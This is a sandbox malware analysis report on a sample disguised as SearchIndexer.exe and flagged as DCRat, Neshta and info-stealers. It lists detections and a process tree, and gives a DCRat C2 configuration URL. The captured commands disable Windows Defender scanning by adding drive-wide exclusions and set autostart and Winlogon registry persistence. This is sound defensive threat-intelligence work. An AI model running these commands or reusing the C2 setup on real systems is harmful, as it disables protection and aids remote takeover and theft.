Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
SearchIndexer.exe

Overview

General Information

Sample name:SearchIndexer.exe
Analysis ID:1589995
MD5:f2997dfb6f126670204c83344b678f0e
SHA1:fb1a90117ff594cac3b2cebbbbd072674f246ce3
SHA256:73b461a9d859f019ed4f0dda1e0cc86a36b826bde0f318e806503876056b41c0
Tags:DCRatexeNyashTeamuser-MalHunter3
Infos:

Detection

DCRat, Neshta, PureLog Stealer, zgRAT
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected DCRat
Yara detected Neshta
Yara detected PureLog Stealer
Yara detected zgRAT
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Creates an autostart registry key pointing to binary in C:\Windows
Creates an undocumented autostart registry key
Creates multiple autostart registry keys
Drops PE files with a suspicious file extension
Drops executable to a common third party application directory
Drops executables to the windows directory (C:\Windows) and starts them
Drops or copies MsMpEng.exe (Windows Defender, likely to bypass HIPS)
Infects executable files (exe, dll, sys, html)
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: System File Execution Location Anomaly
Tries to harvest and steal browser information (history, passwords, etc)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Creates files inside the system directory
Deletes files inside the Windows folder
Detected potential crypto function
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Installs a raw input device (often for capturing keystrokes)
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Classes Autorun Keys Modification
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: CurrentVersion NT Autorun Keys Modification
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Powershell Defender Exclusion
Sigma detected: Unusual Parent Process For Cmd.EXE
Sigma detected: Use NTFS Short Name in Command Line
Sigma detected: Use Short Name Path in Command Line
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • SearchIndexer.exe (PID: 6636 cmdline: "C:\Users\user\Desktop\SearchIndexer.exe" MD5: F2997DFB6F126670204C83344B678F0E)
    • SearchIndexer.exe (PID: 3168 cmdline: "C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe" MD5: 3E3FE7663181211E5983DA48431DDF33)
      • csc.exe (PID: 4320 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)
        • conhost.exe (PID: 916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • cvtres.exe (PID: 5180 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF5B1.tmp" "c:\Windows\System32\CSC8B0546412F3A4425A5D7AA169F4D63A4.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)
      • powershell.exe (PID: 4548 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 1076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • WmiPrvSE.exe (PID: 6228 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)
      • powershell.exe (PID: 1352 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 6128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 4476 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 3060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 180 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 3868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5448 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7080 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 4320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5332 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 2000 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7196 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7220 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7248 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7268 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7296 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\SearchIndexer.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7332 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Provisioning\Packages\tAVtSoJGTaCxrZiXcJn.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7356 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows nt\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7372 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7388 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows multimedia platform\tAVtSoJGTaCxrZiXcJn.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7404 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 7956 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\3vTESgZFSf.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • chcp.com (PID: 8800 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)
        • w32tm.exe (PID: 9180 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)
        • tAVtSoJGTaCxrZiXcJn.exe (PID: 8740 cmdline: "C:\Program Files (x86)\windows nt\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe" MD5: 3E3FE7663181211E5983DA48431DDF33)
  • svchost.com (PID: 7320 cmdline: "C:\Windows\svchost.com" "C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE" MD5: 36FD5E09C417C767A952B4609D73A54B)
    • tAVtSoJGTaCxrZiXcJn.exe (PID: 3492 cmdline: C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE MD5: 3E3FE7663181211E5983DA48431DDF33)
  • svchost.com (PID: 9192 cmdline: "C:\Windows\svchost.com" "C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE" MD5: 36FD5E09C417C767A952B4609D73A54B)
    • RuntimeBroker.exe (PID: 9180 cmdline: C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE MD5: 3E3FE7663181211E5983DA48431DDF33)
  • svchost.com (PID: 5080 cmdline: "C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE" MD5: 36FD5E09C417C767A952B4609D73A54B)
    • SearchIndexer.exe (PID: 4820 cmdline: C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE MD5: 3E3FE7663181211E5983DA48431DDF33)
  • svchost.exe (PID: 9036 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • svchost.com (PID: 3220 cmdline: "C:\Windows\svchost.com" "C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE" MD5: 36FD5E09C417C767A952B4609D73A54B)
    • tAVtSoJGTaCxrZiXcJn.exe (PID: 2252 cmdline: C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE MD5: 3E3FE7663181211E5983DA48431DDF33)
  • svchost.com (PID: 1456 cmdline: "C:\Windows\svchost.com" "C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE" MD5: 36FD5E09C417C767A952B4609D73A54B)
    • RuntimeBroker.exe (PID: 2248 cmdline: C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE MD5: 3E3FE7663181211E5983DA48431DDF33)
  • svchost.com (PID: 5100 cmdline: "C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE" MD5: 36FD5E09C417C767A952B4609D73A54B)
    • SearchIndexer.exe (PID: 5296 cmdline: C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE MD5: 3E3FE7663181211E5983DA48431DDF33)
  • svchost.com (PID: 4812 cmdline: "C:\Windows\svchost.com" "C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE" MD5: 36FD5E09C417C767A952B4609D73A54B)
    • tAVtSoJGTaCxrZiXcJn.exe (PID: 2924 cmdline: C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE MD5: 3E3FE7663181211E5983DA48431DDF33)
  • svchost.com (PID: 6332 cmdline: "C:\Windows\svchost.com" "C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE" MD5: 36FD5E09C417C767A952B4609D73A54B)
    • RuntimeBroker.exe (PID: 6480 cmdline: C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE MD5: 3E3FE7663181211E5983DA48431DDF33)
  • svchost.com (PID: 7008 cmdline: "C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE" MD5: 36FD5E09C417C767A952B4609D73A54B)
    • SearchIndexer.exe (PID: 7124 cmdline: C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE MD5: 3E3FE7663181211E5983DA48431DDF33)
  • svchost.com (PID: 5132 cmdline: "C:\Windows\svchost.com" "C:\Windows\Provisioning\Packages\TAVTSO~1.EXE" MD5: 36FD5E09C417C767A952B4609D73A54B)
    • tAVtSoJGTaCxrZiXcJn.exe (PID: 8132 cmdline: C:\Windows\Provisioning\Packages\TAVTSO~1.EXE MD5: 3E3FE7663181211E5983DA48431DDF33)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
DCRatDCRat is a typical RAT that has been around since at least June 2019.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat
NameDescriptionAttributionBlogpost URLsLink
neshtaNeshta is a 2005 Belarusian file infector virus written in Delphi. The name of the virus comes from the Belarusian word "nesta" meaning "something."No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.neshta
NameDescriptionAttributionBlogpost URLsLink
zgRATzgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://519600cl.nyashtop.top/authDatalifeCdnTemporary", "MUTEX": "DCR_MUTEX-QVgodjXaIbAcRVoIzEKD", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
SearchIndexer.exeJoeSecurity_NeshtaYara detected NeshtaJoe Security
    SearchIndexer.exeJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
      SearchIndexer.exeJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
        SearchIndexer.exeMALWARE_Win_NeshtaDetects NeshtaditekSHen
        • 0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus.
        • 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]

        Dropped Files

        SourceRuleDescriptionAuthorStrings
        C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exeJoeSecurity_NeshtaYara detected NeshtaJoe Security
          C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exeMALWARE_Win_NeshtaDetects NeshtaditekSHen
          • 0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus.
          • 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
          C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXEJoeSecurity_NeshtaYara detected NeshtaJoe Security
            C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXEMALWARE_Win_NeshtaDetects NeshtaditekSHen
            • 0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus.
            • 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
            C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exeJoeSecurity_NeshtaYara detected NeshtaJoe Security
              Click to see the 315 entries

              Memory Dumps

              SourceRuleDescriptionAuthorStrings
              00000001.00000000.1712832866.0000000000A62000.00000002.00000001.01000000.00000005.sdmpJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                00000000.00000003.1708339397.0000000002230000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                  00000034.00000002.2186722542.0000000000409000.00000004.00000001.01000000.00000008.sdmpJoeSecurity_NeshtaYara detected NeshtaJoe Security
                    00000000.00000002.2762934153.0000000000409000.00000004.00000001.01000000.00000003.sdmpJoeSecurity_NeshtaYara detected NeshtaJoe Security
                      00000001.00000002.2127156307.00000000132DA000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
                        Click to see the 4 entries

                        Unpacked PEs

                        SourceRuleDescriptionAuthorStrings
                        0.0.SearchIndexer.exe.400000.0.unpackJoeSecurity_NeshtaYara detected NeshtaJoe Security
                          0.0.SearchIndexer.exe.400000.0.unpackMALWARE_Win_NeshtaDetects NeshtaditekSHen
                          • 0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus.
                          • 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
                          1.0.SearchIndexer.exe.a60000.0.unpackJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
                            1.0.SearchIndexer.exe.a60000.0.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security

                              Sigma Signatures

                              System Summary

                              barindex
                              Sigma detected: Files With System Process Name In Unsuspected Locations
                              Source: File createdAuthor: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\SearchIndexer.exe, ProcessId: 6636, TargetFilename: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                              Sigma detected: New RUN Key Pointing to Suspicious Folder
                              Source: Registry Key setAuthor: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: "C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, ProcessId: 3168, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchIndexer
                              Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
                              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, ParentProcessId: 3168, ParentProcessName: SearchIndexer.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', ProcessId: 4548, ProcessName: powershell.exe
                              Sigma detected: Suspicious Script Execution From Temp Folder
                              Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, ParentProcessId: 3168, ParentProcessName: SearchIndexer.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe', ProcessId: 7404, ProcessName: powershell.exe
                              Sigma detected: System File Execution Location Anomaly
                              Source: Process startedAuthor: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE, CommandLine: C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE, CommandLine|base64offset|contains: , Image: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe, NewProcessName: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe, OriginalFileName: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe, ParentCommandLine: "C:\Windows\svchost.com" "C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE" , ParentImage: C:\Windows\svchost.com, ParentProcessId: 9192, ParentProcessName: svchost.com, ProcessCommandLine: C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE, ProcessId: 9180, ProcessName: RuntimeBroker.exe
                              Sigma detected: Classes Autorun Keys Modification
                              Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\svchost.com "%1" %*, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\SearchIndexer.exe, ProcessId: 6636, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command\(Default)
                              Sigma detected: CurrentVersion Autorun Keys Modification
                              Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Windows\Provisioning\Packages\tAVtSoJGTaCxrZiXcJn.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, ProcessId: 3168, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\tAVtSoJGTaCxrZiXcJn
                              Sigma detected: CurrentVersion NT Autorun Keys Modification
                              Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Windows\Provisioning\Packages\tAVtSoJGTaCxrZiXcJn.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, ProcessId: 3168, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
                              Sigma detected: Dynamic .NET Compilation Via Csc.EXE
                              Source: Process startedAuthor: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, ParentProcessId: 3168, ParentProcessName: SearchIndexer.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.cmdline", ProcessId: 4320, ProcessName: csc.exe
                              Sigma detected: Powershell Defender Exclusion
                              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, ParentProcessId: 3168, ParentProcessName: SearchIndexer.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', ProcessId: 4548, ProcessName: powershell.exe
                              Sigma detected: Unusual Parent Process For Cmd.EXE
                              Source: Process startedAuthor: Tim Rauch: Data: Command: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\3vTESgZFSf.bat" , CommandLine: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\3vTESgZFSf.bat" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, ParentProcessId: 3168, ParentProcessName: SearchIndexer.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\3vTESgZFSf.bat" , ProcessId: 7956, ProcessName: cmd.exe
                              Sigma detected: Use NTFS Short Name in Command Line
                              Source: Process startedAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\svchost.com" "C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE" , CommandLine: "C:\Windows\svchost.com" "C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE" , CommandLine|base64offset|contains: , Image: C:\Windows\svchost.com, NewProcessName: C:\Windows\svchost.com, OriginalFileName: C:\Windows\svchost.com, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\svchost.com" "C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE" , ProcessId: 7320, ProcessName: svchost.com
                              Sigma detected: Use Short Name Path in Command Line
